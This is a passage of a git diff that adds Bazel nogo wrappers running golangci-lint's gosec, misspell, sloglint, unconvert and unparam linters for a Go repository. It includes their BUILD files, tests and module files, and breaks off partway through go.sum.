"@com_github_securego_gosec_v2//analyzers", + "@com_github_securego_gosec_v2//issue", + "@com_github_securego_gosec_v2//rules", + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/packages", + ], +) + +go_test( + name = "gosec_test", + srcs = ["gosec_test.go"], + deps = [ + ":gosec", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/gosec/gosec.go b/tools/nogo/analyzers/gosec/gosec.go new file mode 100644 index 000000000..aeb80d73b --- /dev/null +++ b/tools/nogo/analyzers/gosec/gosec.go @@ -0,0 +1,113 @@ +// Package gosec runs github.com/securego/gosec/v2 as golangci-lint's gosec +// linter does, with .golangci.yml's linters.settings.gosec: every rule and +// SSA analyzer (less G407, which golangci-lint always drops), #nosec honored, +// and findings reported as ": ". +package gosec + +import ( + "fmt" + "go/token" + "io" + "log" + "strconv" + "strings" + + "github.com/securego/gosec/v2" + "github.com/securego/gosec/v2/analyzers" + "github.com/securego/gosec/v2/issue" + "github.com/securego/gosec/v2/rules" + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/packages" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" + "github.com/steveyegge/beads/tools/nogo/internal/position" +) + +// Analyzer reports security problems. +var Analyzer = golangci.Wrap("gosec", &analysis.Analyzer{ + Name: "gosec", + Doc: "inspects source code for security problems", + Run: run, +}) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + settings := cfg.Linters.Settings.Gosec + severity, err := score(settings.Severity) + if err != nil { + return nil, err + } + confidence, err := score(settings.Confidence) + if err != nil { + return nil, err + } + // golangci-lint drops G407 (securego/gosec#1209, #1211) on top of the + // configured excludes. + excludes := append([]string{"G407"}, settings.Excludes...) + var ruleFilters []rules.RuleFilter + var analyzerFilters []analyzers.AnalyzerFilter + if len(settings.Includes) > 0 { + ruleFilters = append(ruleFilters, rules.NewRuleFilter(false, settings.Includes...)) + analyzerFilters = append(analyzerFilters, analyzers.NewAnalyzerFilter(false, settings.Includes...)) + } + ruleFilters = append(ruleFilters, rules.NewRuleFilter(true, excludes...)) + analyzerFilters = append(analyzerFilters, analyzers.NewAnalyzerFilter(true, excludes...)) + + g := gosec.NewAnalyzer(gosec.NewConfig(), true, false, false, 1, log.New(io.Discard, "", 0)) + ruleDefs := rules.Generate(false, ruleFilters...) + analyzerDefs := analyzers.Generate(false, analyzerFilters...) + g.LoadRules(ruleDefs.RulesInfo()) + g.LoadAnalyzers(analyzerDefs.AnalyzersInfo()) + + pkg := &packages.Package{ + Fset: pass.Fset, + Syntax: pass.Files, + Types: pass.Pkg, + TypesInfo: pass.TypesInfo, + } + g.CheckRules(pkg) + g.CheckAnalyzers(pkg) + found, _, _ := g.Report() + + idx := position.NewIndex(pass) + for _, i := range found { + if i.Severity < severity || i.Confidence < confidence { + continue + } + line, err := strconv.Atoi(i.Line) + if err != nil { + // A multi-line finding: "from-to". + first, _, ok := strings.Cut(i.Line, "-") + if line, err = strconv.Atoi(first); !ok || err != nil { + return nil, fmt.Errorf("gosec: line %q of %s in %s", i.Line, i.RuleID, i.File) + } + } + col, err := strconv.Atoi(i.Col) + if err != nil { + return nil, fmt.Errorf("gosec: column %q of %s in %s", i.Col, i.RuleID, i.File) + } + pos, ok := idx.Pos(token.Position{Filename: i.File, Line: line, Column: col}) + if !ok { + continue + } + pass.Report(analysis.Diagnostic{Pos: pos, Message: fmt.Sprintf("%s: %s", i.RuleID, i.What)}) + } + return nil, nil +} + +// score is golangci-lint's convertToScore: empty means low (everything). +func score(s string) (issue.Score, error) { + switch strings.ToLower(s) { + case "", "low": + return issue.Low, nil + case "medium": + return issue.Medium, nil + case "high": + return issue.High, nil + default: + return issue.Low, fmt.Errorf("gosec: severity/confidence %q: want low, medium or high", s) + } +} diff --git a/tools/nogo/analyzers/gosec/gosec_test.go b/tools/nogo/analyzers/gosec/gosec_test.go new file mode 100644 index 000000000..ad9a750c0 --- /dev/null +++ b/tools/nogo/analyzers/gosec/gosec_test.go @@ -0,0 +1,25 @@ +package gosec_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/gosec" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +// golangci-lint v2.10.1 reports the same finding for the same package. +func TestReportsRuleIDAndText(t *testing.T) { + got := analyzertest.RunInRepo(t, gosec.Analyzer, "p", map[string]string{ + "p.go": "package p\n\nconst apiKey = \"AKIAIOSFODNN7EXAMPLE\"\n\n// G115 is excluded tree-wide by .golangci.yml.\nfunc narrow(x int64) int32 { return int32(x) }\n", + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{ + {File: "p.go", Line: 3, Message: "G101: Potential hardcoded credentials"}, + }) +} + +func TestNosecIsHonored(t *testing.T) { + got := analyzertest.RunInRepo(t, gosec.Analyzer, "p", map[string]string{ + "p.go": "package p\n\nconst apiKey = \"AKIAIOSFODNN7EXAMPLE\" // #nosec G101 -- fixture\n", + }) + analyzertest.Equal(t, got, nil) +} diff --git a/tools/nogo/analyzers/misspell/BUILD.bazel b/tools/nogo/analyzers/misspell/BUILD.bazel new file mode 100644 index 000000000..0b2053638 --- /dev/null +++ b/tools/nogo/analyzers/misspell/BUILD.bazel @@ -0,0 +1,44 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "misspell", + srcs = ["misspell.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/misspell", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@com_github_golangci_misspell//:misspell", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "misspell_test", + srcs = ["misspell_test.go"], + deps = [ + ":misspell", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/misspell/misspell.go b/tools/nogo/analyzers/misspell/misspell.go new file mode 100644 index 000000000..2a1cb9819 --- /dev/null +++ b/tools/nogo/analyzers/misspell/misspell.go @@ -0,0 +1,110 @@ +// Package misspell runs github.com/golangci/misspell as golangci-lint's +// misspell linter does, with .golangci.yml's linters.settings.misspell. +// misspell is a library with no analysis.Analyzer. +package misspell + +import ( + "fmt" + "go/token" + "os" + "strings" + "sync" + "unicode" + + "github.com/golangci/misspell" + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer reports commonly misspelled English words. +var Analyzer = golangci.Wrap("misspell", &analysis.Analyzer{ + Name: "misspell", + Doc: "reports commonly misspelled English words", + Run: run, +}) + +var ( + once sync.Once + replacer *misspell.Replacer + replacerErr error +) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + settings := cfg.Linters.Settings.Misspell + once.Do(func() { replacer, replacerErr = NewReplacer(settings) }) + if replacerErr != nil { + return nil, replacerErr + } + // The default mode checks the whole file text; "restricted" only + // comments. + replace := replacer.Replace + if strings.EqualFold(settings.Mode, "restricted") { + replace = replacer.ReplaceGo + } + for _, file := range pass.Files { + tf := pass.Fset.File(file.Pos()) + if !strings.HasSuffix(tf.Name(), ".go") { + continue + } + content, err := os.ReadFile(tf.Name()) + if err != nil { + return nil, fmt.Errorf("misspell: reading %s: %w", tf.Name(), err) + } + _, diffs := replace(string(content)) + for _, diff := range diffs { + if diff.Line < 1 || diff.Line > tf.LineCount() { + continue + } + start := tf.LineStart(diff.Line) + token.Pos(diff.Column) + end := start + token.Pos(len(diff.Original)) + pass.Report(analysis.Diagnostic{ + Pos: start, + End: end, + Message: fmt.Sprintf("`%s` is a misspelling of `%s`", diff.Original, diff.Corrected), + SuggestedFixes: []analysis.SuggestedFix{{ + Message: "fix spelling", + TextEdits: []analysis.TextEdit{{Pos: start, End: end, NewText: []byte(diff.Corrected)}}, + }}, + }) + } + } + return nil, nil +} + +// NewReplacer builds golangci-lint's misspell replacer for the settings. +func NewReplacer(s golangci.MisspellSettings) (*misspell.Replacer, error) { + r := &misspell.Replacer{Replacements: misspell.DictMain} + switch strings.ToUpper(s.Locale) { + case "": + case "US": + r.AddRuleList(misspell.DictAmerican) + case "UK", "GB": + r.AddRuleList(misspell.DictBritish) + default: + return nil, fmt.Errorf("misspell: unknown locale %q", s.Locale) + } + if len(s.ExtraWords) > 0 { + extra := make([]string, 0, len(s.ExtraWords)*2) + for _, w := range s.ExtraWords { + if w.Typo == "" || w.Correction == "" { + return nil, fmt.Errorf("misspell: extra word typo %q / correction %q must not be empty", w.Typo, w.Correction) + } + notLetter := func(r rune) bool { return !unicode.IsLetter(r) } + if strings.ContainsFunc(w.Typo, notLetter) || strings.ContainsFunc(w.Correction, notLetter) { + return nil, fmt.Errorf("misspell: extra word %q -> %q must contain only letters", w.Typo, w.Correction) + } + extra = append(extra, strings.ToLower(w.Typo), strings.ToLower(w.Correction)) + } + r.AddRuleList(extra) + } + if len(s.IgnoreRules) > 0 { + r.RemoveRule(s.IgnoreRules) + } + r.Compile() + return r, nil +} diff --git a/tools/nogo/analyzers/misspell/misspell_test.go b/tools/nogo/analyzers/misspell/misspell_test.go new file mode 100644 index 000000000..3bdbcd50c --- /dev/null +++ b/tools/nogo/analyzers/misspell/misspell_test.go @@ -0,0 +1,35 @@ +package misspell_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/misspell" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +// The fixture words are assembled from halves so this file does not itself +// trip the analyzer it tests. +var ( + receive = "rec" + "ieve" + color = "col" + "our" + cancelled = "cancel" + "led" +) + +func TestReportsMisspellingsAnywhereInTheFileUSLocale(t *testing.T) { + got := analyzertest.RunInRepo(t, misspell.Analyzer, "p", map[string]string{ + "p.go": "// Package p is fine.\npackage p\n\n// " + receive + " is misspelled in a comment.\nvar s = \"" + color + "\"\n", + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{ + {File: "p.go", Line: 4, Message: "`" + receive + "` is a misspelling of `receive`"}, + {File: "p.go", Line: 5, Message: "`" + color + "` is a misspelling of `color`"}, + }) +} + +// .golangci.yml keeps GitHub's spelling in cmd/bd/gate.go only. +func TestPathTextExclusion(t *testing.T) { + src := map[string]string{"gate.go": "package main\n\nconst status = \"" + cancelled + "\"\n"} + analyzertest.Equal(t, analyzertest.RunInRepo(t, misspell.Analyzer, "cmd/bd", src), nil) + analyzertest.Equal(t, analyzertest.RunInRepo(t, misspell.Analyzer, "cmd/other", src), []analyzertest.Diagnostic{ + {File: "gate.go", Line: 3, Message: "`" + cancelled + "` is a misspelling of `canceled`"}, + }) +} diff --git a/tools/nogo/analyzers/sloglint/BUILD.bazel b/tools/nogo/analyzers/sloglint/BUILD.bazel new file mode 100644 index 000000000..9289cddb1 --- /dev/null +++ b/tools/nogo/analyzers/sloglint/BUILD.bazel @@ -0,0 +1,46 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "sloglint", + srcs = ["sloglint.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/sloglint", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@org_go_simpler_sloglint//:sloglint", + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/analysis/passes/inspect", + ], +) + +go_test( + name = "sloglint_test", + srcs = ["sloglint_test.go"], + deps = [ + ":sloglint", + "//tools/nogo/internal/analyzertest", + "//tools/nogo/internal/golangci", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/sloglint/sloglint.go b/tools/nogo/analyzers/sloglint/sloglint.go new file mode 100644 index 000000000..32e5270d2 --- /dev/null +++ b/tools/nogo/analyzers/sloglint/sloglint.go @@ -0,0 +1,67 @@ +// Package sloglint runs go-simpler.org/sloglint with .golangci.yml's +// linters.settings.sloglint and golangci-lint's defaults. +package sloglint + +import ( + "strings" + "sync" + + "go-simpler.org/sloglint" + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/analysis/passes/inspect" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer checks log/slog calls for a consistent style. +var Analyzer = golangci.Wrap("sloglint", &analysis.Analyzer{ + Name: "sloglint", + Doc: "ensures a consistent code style when using log/slog", + Requires: []*analysis.Analyzer{inspect.Analyzer}, + Run: run, +}) + +var ( + once sync.Once + inner *analysis.Analyzer +) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + once.Do(func() { inner = sloglint.New(Options(cfg.Linters.Settings.Sloglint)) }) + return inner.Run(WithModule(pass)) +} + +// WithModule returns pass with Module set when nogo left it nil (rules_go does +// not set it; sloglint reads Module.GoVersion). The language version is the +// package's, which rules_go sets from go.mod's go directive, as golangci-lint +// reads the module's. +func WithModule(pass *analysis.Pass) *analysis.Pass { + if pass.Module != nil { + return pass + } + p := *pass + p.Module = &analysis.Module{GoVersion: strings.TrimPrefix(pass.Pkg.GoVersion(), "go")} + return &p +} + +// Options maps the settings onto sloglint's options; no-mixed-args defaults +// to true, as in golangci-lint. +func Options(s golangci.SloglintSettings) *sloglint.Options { + return &sloglint.Options{ + NoMixedArgs: s.NoMixedArgs == nil || *s.NoMixedArgs, + KVOnly: s.KVOnly, + AttrOnly: s.AttrOnly, + NoGlobal: s.NoGlobal, + ContextOnly: s.Context, + StaticMsg: s.StaticMsg, + MsgStyle: s.MsgStyle, + NoRawKeys: s.NoRawKeys, + KeyNamingCase: s.KeyNamingCase, + ForbiddenKeys: s.ForbiddenKeys, + ArgsOnSepLines: s.ArgsOnSepLines, + } +} diff --git a/tools/nogo/analyzers/sloglint/sloglint_test.go b/tools/nogo/analyzers/sloglint/sloglint_test.go new file mode 100644 index 000000000..8e6d52e43 --- /dev/null +++ b/tools/nogo/analyzers/sloglint/sloglint_test.go @@ -0,0 +1,26 @@ +package sloglint_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/sloglint" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +func TestOptionsDefaultLikeGolangciLint(t *testing.T) { + opts := sloglint.Options(golangci.SloglintSettings{}) + if !opts.NoMixedArgs || opts.KVOnly || opts.AttrOnly || opts.StaticMsg { + t.Errorf("default options = %+v, want golangci-lint's (no-mixed-args only)", opts) + } + off := false + if sloglint.Options(golangci.SloglintSettings{NoMixedArgs: &off}).NoMixedArgs { + t.Error("no-mixed-args: false was not honored") + } +} + +// nogo passes carry no Module; sloglint reads its Go version. +func TestRunsWithoutAModule(t *testing.T) { + got := analyzertest.RunInRepo(t, sloglint.Analyzer, "p", map[string]string{"p.go": "package p\n\nfunc f() {}\n"}) + analyzertest.Equal(t, got, nil) +} diff --git a/tools/nogo/analyzers/unconvert/BUILD.bazel b/tools/nogo/analyzers/unconvert/BUILD.bazel new file mode 100644 index 000000000..2f988fd1a --- /dev/null +++ b/tools/nogo/analyzers/unconvert/BUILD.bazel @@ -0,0 +1,45 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "unconvert", + srcs = ["unconvert.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/unconvert", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "//tools/nogo/internal/position", + "@com_github_golangci_unconvert//:unconvert", + "@org_golang_x_tools//go/analysis", + ], +) + +go_test( + name = "unconvert_test", + srcs = ["unconvert_test.go"], + deps = [ + ":unconvert", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/unconvert/unconvert.go b/tools/nogo/analyzers/unconvert/unconvert.go new file mode 100644 index 000000000..182f1d38e --- /dev/null +++ b/tools/nogo/analyzers/unconvert/unconvert.go @@ -0,0 +1,42 @@ +// Package unconvert runs golangci-lint's fork of mdempsky/unconvert, which +// exposes Run(pass) rather than an analysis.Analyzer. +package unconvert + +import ( + "sync" + + "github.com/golangci/unconvert" + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" + "github.com/steveyegge/beads/tools/nogo/internal/position" +) + +// Analyzer reports type conversions whose operand already has the target type. +var Analyzer = golangci.Wrap("unconvert", &analysis.Analyzer{ + Name: "unconvert", + Doc: "reports unnecessary type conversions", + Run: run, +}) + +var configure sync.Once + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + configure.Do(func() { + unconvert.SetFastMath(cfg.Linters.Settings.Unconvert.FastMath) + unconvert.SetSafe(cfg.Linters.Settings.Unconvert.Safe) + }) + idx := position.NewIndex(pass) + for _, p := range unconvert.Run(pass) { + pos, ok := idx.Pos(p) + if !ok { + continue + } + pass.Report(analysis.Diagnostic{Pos: pos, Message: "unnecessary conversion"}) + } + return nil, nil +} diff --git a/tools/nogo/analyzers/unconvert/unconvert_test.go b/tools/nogo/analyzers/unconvert/unconvert_test.go new file mode 100644 index 000000000..412d29fce --- /dev/null +++ b/tools/nogo/analyzers/unconvert/unconvert_test.go @@ -0,0 +1,15 @@ +package unconvert_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/unconvert" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +func TestReportsUnnecessaryConversions(t *testing.T) { + got := analyzertest.RunInRepo(t, unconvert.Analyzer, "p", map[string]string{ + "p.go": "package p\n\nfunc f(x int) int { return int(x) }\n\nfunc g(x int32) int64 { return int64(x) }\n", + }) + analyzertest.Equal(t, got, []analyzertest.Diagnostic{{File: "p.go", Line: 3, Message: "unnecessary conversion"}}) +} diff --git a/tools/nogo/analyzers/unparam/BUILD.bazel b/tools/nogo/analyzers/unparam/BUILD.bazel new file mode 100644 index 000000000..f4c612814 --- /dev/null +++ b/tools/nogo/analyzers/unparam/BUILD.bazel @@ -0,0 +1,46 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "unparam", + srcs = ["unparam.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/analyzers/unparam", + visibility = ["//visibility:public"], + deps = [ + "//tools/nogo/internal/golangci", + "@cc_mvdan_unparam//check", + "@org_golang_x_tools//go/analysis", + "@org_golang_x_tools//go/analysis/passes/buildssa", + "@org_golang_x_tools//go/packages", + ], +) + +go_test( + name = "unparam_test", + srcs = ["unparam_test.go"], + deps = [ + ":unparam", + "//tools/nogo/internal/analyzertest", + ], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/analyzers/unparam/unparam.go b/tools/nogo/analyzers/unparam/unparam.go new file mode 100644 index 000000000..864bf1c54 --- /dev/null +++ b/tools/nogo/analyzers/unparam/unparam.go @@ -0,0 +1,47 @@ +// Package unparam runs mvdan.cc/unparam as golangci-lint's unparam linter +// does, with .golangci.yml's linters.settings.unparam. +package unparam + +import ( + "golang.org/x/tools/go/analysis" + "golang.org/x/tools/go/analysis/passes/buildssa" + "golang.org/x/tools/go/packages" + "mvdan.cc/unparam/check" + + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// Analyzer reports function parameters and results that are always unused +// or always receive the same value. +var Analyzer = golangci.Wrap("unparam", &analysis.Analyzer{ + Name: "unparam", + Doc: "reports unused function parameters and results", + Requires: []*analysis.Analyzer{buildssa.Analyzer}, + Run: run, +}) + +func run(pass *analysis.Pass) (any, error) { + cfg, err := golangci.Load() + if err != nil { + return nil, err + } + ssa := pass.ResultOf[buildssa.Analyzer].(*buildssa.SSA) + pkg := &packages.Package{ + Fset: pass.Fset, + Syntax: pass.Files, + Types: pass.Pkg, + TypesInfo: pass.TypesInfo, + } + c := &check.Checker{} + c.CheckExportedFuncs(cfg.Linters.Settings.Unparam.CheckExported) + c.Packages([]*packages.Package{pkg}) + c.ProgramSSA(ssa.Pkg.Prog) + issues, err := c.Check() + if err != nil { + return nil, err + } + for _, issue := range issues { + pass.Report(analysis.Diagnostic{Pos: issue.Pos(), Message: issue.Message()}) + } + return nil, nil +} diff --git a/tools/nogo/analyzers/unparam/unparam_test.go b/tools/nogo/analyzers/unparam/unparam_test.go new file mode 100644 index 000000000..2ea84500b --- /dev/null +++ b/tools/nogo/analyzers/unparam/unparam_test.go @@ -0,0 +1,46 @@ +package unparam_test + +import ( + "testing" + + "github.com/steveyegge/beads/tools/nogo/analyzers/unparam" + "github.com/steveyegge/beads/tools/nogo/internal/analyzertest" +) + +const lib = `package p + +func render(n int, unused string) int { + if n > 1 { + return n * 2 + } + return n +} + +// Use is exported, so unparam does not check it (check-exported is off). +func Use(x int) int { return render(1, "a") + render(2, "b") } +` + +// golangci-lint v2.10.1 reports the same finding for the same package (a +// body this small but no smaller: unparam skips trivial functions). +func TestReportsUnusedParameters(t *testing.T) { + analyzertest.Equal(t, analyzertest.RunInRepo(t, unparam.Analyzer, "p", map[string]string{"p.go": lib}), + []analyzertest.Diagnostic{{File: "p.go", Line: 3, Message: "render - unused is unused"}}) +} + +// run.tests: false: golangci-lint judged the package without its tests, +// which is Bazel's library unit; the test unit is not analyzed. +func TestTestUnitIsSkipped(t *testing.T) { + got := analyzertest.RunInRepo(t, unparam.Analyzer, "p", map[string]string{ + "p.go": lib, + "p_test.go": "package p\n\nvar _ = render(1, \"c\")\n", + }) + analyzertest.Equal(t, got, nil) +} + +// .golangci.yml drops unparam's getConfig findings in the tracker adapters. +func TestPathTextExclusion(t *testing.T) { + src := map[string]string{"tracker.go": "package jira\n\nfunc getConfig(k string, unused int) string {\n\tif k == \"\" {\n\t\treturn \"none\"\n\t}\n\treturn k\n}\n\n// Use is exported.\nfunc Use() string { return getConfig(\"a\", 1) + getConfig(\"b\", 2) }\n"} + analyzertest.Equal(t, analyzertest.RunInRepo(t, unparam.Analyzer, "internal/jira", src), nil) + analyzertest.Equal(t, analyzertest.RunInRepo(t, unparam.Analyzer, "internal/other", src), + []analyzertest.Diagnostic{{File: "tracker.go", Line: 3, Message: "getConfig - unused is unused"}}) +} diff --git a/tools/nogo/analyzers_test.go b/tools/nogo/analyzers_test.go new file mode 100644 index 000000000..a36b5ca5e --- /dev/null +++ b/tools/nogo/analyzers_test.go @@ -0,0 +1,104 @@ +package nogo_test + +import ( + "os" + "regexp" + "slices" + "strings" + "testing" + + "golang.org/x/tools/go/analysis" + + "github.com/steveyegge/beads/tools/nogo/analyzers/depguard" + "github.com/steveyegge/beads/tools/nogo/analyzers/errcheck" + "github.com/steveyegge/beads/tools/nogo/analyzers/forbidigo" + "github.com/steveyegge/beads/tools/nogo/analyzers/gosec" + "github.com/steveyegge/beads/tools/nogo/analyzers/misspell" + "github.com/steveyegge/beads/tools/nogo/analyzers/sloglint" + "github.com/steveyegge/beads/tools/nogo/analyzers/unconvert" + "github.com/steveyegge/beads/tools/nogo/analyzers/unparam" + "github.com/steveyegge/beads/tools/nogo/internal/golangci" +) + +// starlarkList returns the string elements of `name = [...]` in analyzers.bzl. +func starlarkList(t *testing.T, name string) []string { + t.Helper() + data, err := os.ReadFile("analyzers.bzl") + if err != nil { + t.Fatal(err) + } + m := regexp.MustCompile(`(?ms)^` + name + ` = \[(.*?)^\]`).FindSubmatch(data) + if m == nil { + t.Fatalf("analyzers.bzl has no %s list", name) + } + var out []string + for _, s := range regexp.MustCompile(`"([^"]+)"`).FindAllSubmatch(m[1], -1) { + out = append(out, string(s[1])) + } + return out +} + +// TestGolangciLintersAreTheEnabledOnes keeps analyzers.bzl's GOLANGCI_LINTERS +// equal to .golangci.yml's linters.enable: a linter enabled there and missing +// here would silently stop gating, and one listed here but not enabled would +// do nothing (Wrap skips it). +func TestGolangciLintersAreTheEnabledOnes(t *testing.T) { + data, err := os.ReadFile("../../.golangci.yml") + if err != nil { + t.Fatal(err) + } + cfg, err := golangci.Parse(data) + if err != nil { + t.Fatal(err) + } + enabled := slices.Sorted(slices.Values(cfg.Linters.Enable)) + listed := slices.Sorted(slices.Values(starlarkList(t, "GOLANGCI_LINTERS"))) + if !slices.Equal(enabled, listed) { + t.Errorf(".golangci.yml enables %v; analyzers.bzl's GOLANGCI_LINTERS is %v", enabled, listed) + } +} + +// Each wrapper is named after its golangci-lint linter, which is what +// //nolint: directives and .golangci.yml's exclusion rules name. +func TestWrapperNamesAreLinterNames(t *testing.T) { + for _, a := range []*analysis.Analyzer{ + depguard.Analyzer, errcheck.Analyzer, forbidigo.Analyzer, gosec.Analyzer, + misspell.Analyzer, sloglint.Analyzer, unconvert.Analyzer, unparam.Analyzer, + } { + if !slices.Contains(starlarkList(t, "GOLANGCI_LINTERS"), a.Name) { + t.Errorf("analyzer %q is not a GOLANGCI_LINTERS entry", a.Name) + } + } +} + +// The embedded copy Wrap applies is the repository's .golangci.yml. +func TestEmbeddedConfigIsTheRepositoryConfig(t *testing.T) { + data, err := os.ReadFile("../../.golangci.yml") + if err != nil { + t.Fatal(err) + } + want, err := golangci.Parse(data) + if err != nil { + t.Fatal(err) + } + got, err := golangci.Load() + if err != nil { + t.Fatal(err) + } + if !slices.Equal(got.Linters.Enable, want.Linters.Enable) || len(got.Linters.Exclusions.Rules) != len(want.Linters.Exclusions.Rules) { + t.Errorf("embedded .golangci.yml differs from the repository's") + } +} + +// config.json's _base scope: external repos, Bazel outputs and testdata only. +func TestBaseScope(t *testing.T) { + data, err := os.ReadFile("config.json") + if err != nil { + t.Fatal(err) + } + for _, want := range []string{`"^external/"`, `"(^|/)bazel-out/"`, `"(^|/)testdata/"`} { + if !strings.Contains(string(data), want) { + t.Errorf("config.json does not exclude %s", want) + } + } +} diff --git a/tools/nogo/config.json b/tools/nogo/config.json new file mode 100644 index 000000000..0c990c3a5 --- /dev/null +++ b/tools/nogo/config.json @@ -0,0 +1,10 @@ +{ + "_base": { + "description": "Scope every analyzer to first-party code as `go vet ./...` and golangci-lint loaded it: no external repos, Bazel-generated sources or testdata trees (./... skips them). The golangci-lint linters additionally apply .golangci.yml's run.tests, generated-file and exclusion rules themselves (analyzers/internal/golangci).", + "exclude_files": { + "^external/": "third-party module repositories", + "(^|/)bazel-out/": "Bazel-generated sources (test mains, cgo, embedcfg)", + "(^|/)testdata/": "fixtures; ./... never loaded them" + } + } +} diff --git a/tools/nogo/go.mod b/tools/nogo/go.mod new file mode 100644 index 000000000..936b993ad --- /dev/null +++ b/tools/nogo/go.mod @@ -0,0 +1,26 @@ +module github.com/steveyegge/beads/tools/nogo + +go 1.26.5 + +require ( + github.com/OpenPeeDeeP/depguard/v2 v2.2.1 + github.com/ashanbrown/forbidigo/v2 v2.3.0 + github.com/golangci/misspell v0.8.0 + github.com/golangci/unconvert v0.0.0-20250410112200-a129a6e6413e + github.com/kisielk/errcheck v1.9.0 + github.com/securego/gosec/v2 v2.23.0 + go-simpler.org/sloglint v0.11.1 + golang.org/x/mod v0.40.0 + golang.org/x/tools v0.49.0 + gopkg.in/yaml.v3 v3.0.1 + mvdan.cc/unparam v0.0.0-20251027182757-5beb8c8f8f15 +) + +require ( + github.com/ccojocar/zxcvbn-go v1.0.4 // indirect + github.com/ettle/strcase v0.2.0 // indirect + github.com/gobwas/glob v0.2.3 // indirect + github.com/google/go-cmp v0.7.0 // indirect + golang.org/x/sync v0.23.0 // indirect + golang.org/x/text v0.41.0 // indirect +) diff --git a/tools/nogo/go.sum b/tools/nogo/go.sum new file mode 100644 index 000000000..c54a38928 --- /dev/null +++ b/tools/nogo/go.sum @@ -0,0 +1,60 @@ +github.com/Masterminds/semver/v3 v3.4.0 h1:Zog+i5UMtVoCU8oKka5P7i9q9HgrJeGzI9SA1Xbatp0= +github.com/Masterminds/semver/v3 v3.4.0/go.mod h1:4V+yj/TJE1HU9XfppCwVMZq3I84lprf4nC11bSS5beM= +github.com/OpenPeeDeeP/depguard/v2 v2.2.1 h1:vckeWVESWp6Qog7UZSARNqfu/cZqvki8zsuj3piCMx4= +github.com/OpenPeeDeeP/depguard/v2 v2.2.1/go.mod h1:q4DKzC4UcVaAvcfd41CZh0PWpGgzrVxUYBlgKNGquUo= +github.com/ashanbrown/forbidigo/v2 